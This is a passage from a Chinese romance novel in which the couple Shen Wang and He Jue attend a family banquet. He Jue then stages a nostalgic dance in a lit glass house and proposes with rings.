鹤老爷子笑眯眯说,“以后我们鹤家就有三个千金了,若是将来有良配来求取,首先叫他搬出足以能打开这把锁的财富再说。” 沈望趁人不注意,把金锁捏在掌心里垫了垫,差点没给手腕扭到,他不得不去求助鹤爵,疑惑满满地问,“这锁沉是很沉的,可是为什么需要妙妙淼淼的老公用财富来求取呢?” 鹤爵抬起手指,微微敲了一下笨老婆的脑门儿,言道,“你看这两把锁有能插孔的钥匙口吗?” 沈望双手举起金锁,看了十几遍,确实没有孔,是实心实金的,难怪重的要命。 “额没有。” 鹤爵生怕把笨老婆打得更笨了,亲了一口沈望的脑门,“老爷子的意思很明显,说明根本没有人有资格能娶我的女儿们。” 说到这个。 鹤爵肯定不会让随便哪个凡夫俗子来沾染他和沈望的宝贝,这个世界上除了他和沈望,其他的男人都是弱鸡。 宴会一直持续到很久,不过二宝可不是能跟他们一起熬夜的,她还是一个小宝宝,需要早点睡觉。 沈望原本打算喂完奶,哄二宝睡觉的,哪知沈妙妙钻进卧室,对他神秘笑道,“我今晚想跟妹妹睡觉,爸爸能不能给个机会?” 沈望搂着妙妙和淼淼,跟她们躺了一阵,起身去找鹤爵。 快要走到门口,沈妙妙忽然喊住他。 沈望立刻回头。 沈妙妙欲言又止,朝他挥挥手道,“爸爸晚安。” 一月份的天气很冷,沈望身体还颇为虚弱,不是很能抗冷,所以选择到玻璃房去透透气。 哪知他刚走进去,整个玻璃房内的灯全部亮起来。 他都不知道,玻璃房里什么时候安装了多如繁星的小灯泡,微弱的灯光在玻璃的反射下,汇聚生成耀眼的小光斑。 世界忽然璀璨生辉。 优美且轻柔的乐曲悠然响起,玻璃房内的花草树木忽然缀上了极艳的色彩,靡靡地撒发香味。 “不知我,是否可以请你跳一支舞,望崽?” 伴随着乐曲,脚踩着树影花香,鹤爵穿着得体的燕尾服,从一旁慢悠悠地走出来。 沈望愣在原地,头顶仿佛突然点亮了一只小灯泡,灵光乍现道,“这是我们高中时那个那个成人礼舞会的乐曲。” “是的。”鹤爵绅士地走向沈望,将他的右手轻轻执起,而自己的右手则紧密地搂住对方的腰身。 沈望仰头,“难道……你现在穿得是高中成年礼时的那一套礼服?” 很有可能!! 沈望永远记得鹤爵当初走向舞池中央的瞬间,所有人都屏住了呼吸,仿佛天上的王子变成落入凡间的星辰,被自己误打误撞给碰到了。 我当初只是一个捡垃圾为生的臭小孩。 鹤爵道,“肯定不是,我现在很大。” 沈望原本有点缅怀陈年又破旧的记忆,直接笑起来道,“你把我的刀口笑破了,我不饶你。” 沈望的脸不知怎么的,突然红了一点,而这红仿佛燎原的星火,瞬间将整个身体引燃。 包括全部的回忆,好的,坏的,恋慕的,憎恨的,惆怅的,无助的,充满希望的! 沈望感觉自己在颤抖,但不是因为害怕,他现在没什么害怕的事情了,他变勇敢了。 沈望小声问,“那你有什么想对我说的吗?” 鹤爵认真思考了一下,“注意我的皮鞋,你踩它的时候要可怜它一点。” 言罢,带着沈望,在玻璃房的满天星光中旋转,旋转。 沈望眼睛都缭乱了。 他对鹤爵道,“慢一点,我快晕死了。” 十几年前的舞会夜晚,他也是这样小声地恳求着鹤爵,慢一点,慢一点。 实际上,沈望知道自己的内心并不希望鹤爵慢下来,他想跟着鹤爵一起翱翔,最终成为鹤爵心底最永恒的闪烁。 “鹤爵,鹤爵。” 鹤爵抱着他,不管沈望是不是真的晕了,或者踩了他十几脚。 当初的、笨拙的、可怜的,又极其可爱的人。 鹤爵说,“十几年了,望崽,我们已经快要错过彼此人生中最美好的年华了,我的心里好痛苦,好难受。” 沈望主动地吻了他,“以后我们好好过日子,等你老了,我也一起陪着你生老病死,好不好?鹤爵。” 鹤爵说,“那你以后该叫我什么?” 沈望笑道,“老” “老鹤。” 鹤爵一口咬在沈望的肩膀,辗转又舔掉了沈望的眼泪,其实连他自己都感动的不得了。 他说,“我没有大金锁锁住你,只有两枚小破戒指,不知今晚有没有荣幸,请你一起跟我戴上它们,一辈子直到火化了,也不会轻易取下来。” 沈望点点头,由心说出那迟到了十几年的承诺。 漫长的、充满等待的、拥抱希望的承诺。 “你早就知道的,十几年前就该知道的,鹤爵。” “我超级的愿意。” “我愿意。”